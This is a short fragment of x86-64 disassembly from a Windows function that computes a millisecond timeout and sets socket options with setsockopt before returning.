call qword [sym.imp.WS2_32.dll_setsockopt]
mov rax, qword [rdi + 0x38]
lea r9, [rsp + 0x40]
mov dword [rsp + 0x20], 4
mov rcx, qword [rax]
mov rax, r14
imul rcx
sar rdx, 7
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
mov rcx, qword [rdi + 0x30]
imul r8d, dword [rcx], 0x3e8
mov rcx, rsi
add edx, r8d
mov r8d, 0x1005
mov dword [rsp + 0x40], edx
mov edx, ebx
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 8]
mov al, 1
and dword [rcx], 0
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret